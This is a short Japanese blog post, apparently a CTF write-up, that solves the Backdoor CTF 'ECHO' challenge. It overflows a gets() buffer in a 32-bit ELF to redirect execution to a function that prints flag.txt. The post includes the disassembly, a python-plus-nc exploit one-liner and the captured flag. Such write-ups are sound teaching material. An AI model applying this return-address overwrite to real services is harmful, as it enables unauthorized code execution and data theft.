2019
10
20

バッファオーバーフロー系CTFのWriteUp

問題へのリンク: https://backdoor.sdslabs.co/challenges/ECHO

"echo"は32bitのELFファイルでユーザーの入力を標準出力に出力するシンプルなプログラム。

$ nc hack.bckdr.in 12001
hello
ECHO: hello

ファイルを眺めてみるとtest関数 (アドレス: 0x080485D8) と sample関数 (アドレス: 0x0804856B)という2つの関数がある。
test関数はユーザーの入力をgets関数で読み取って、標準出力に出力する関数。
sample関数は"flag.txt"というファイルの内容を読み出す関数。

test関数内で呼び出されているgets関数にはバッファオーバーフローの脆弱性がある。
なので、test関数内のgets関数をバッファオーバーフローさせて、sample関数に制御を渡せば"flag.txt"の内容を読み出せる。

gets関数のバッファサイズを確認してみる。

.text:080485E1 8D 45 C6 lea eax, [ebp+var_3A]
.text:080485E4 50 push eax
.text:080485E5 E8 F6 FD FF FF call _gets


上記より、gets関数のバッファサイズは0x3A、10進数で58バイトであることがわかる。
よって、test関数に渡すFlag奪取のためのペイロードは以下の構成になる。

[バッファサイズ 58バイト] + [EBPポインタのサイズ 4バイト] + [sample関数のアドレス 4バイト]


これをpythonで書くと以下のようになる。(※アドレスはリトルエンディアン)

python -c 'print "a"*62 + "\x6B\x85\x04\x08"'


対象のプログラムはリモートーサーバーにホストされているので、上記のpythonコマンドにncコマンドをパイプせる。

$ python -c 'print "a"*62 + "\x6B\x85\x04\x08"' | nc hack.bckdr.in 12001


実行結果:

$ python -c 'print "a"*62 + "\x6B\x85\x04\x08"' | nc hack.bckdr.in 12001
ECHO: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaak�
96f674623c2c378f89700aa46f02cf3b311489f0facdfac6fd5885d4bc1a129a

Flagは 96f674623c2c378f89700aa46f02cf3b311489f0facdfac6fd5885d4bc1a129a

以上。
Comment



Only the blog author may view the comment.


Trackback
Trackback URL

«  | HOME |  »

奇妙な風景 Unique Scene
<< >>

プロフィール


最新記事


最新コメント


最新トラックバック


月別アーカイブ


カテゴリ


スポンサード リンク


FC2カウンター


検索フォーム


RSSリンクの表示


リンク


ブロとも申請フォーム


QRコード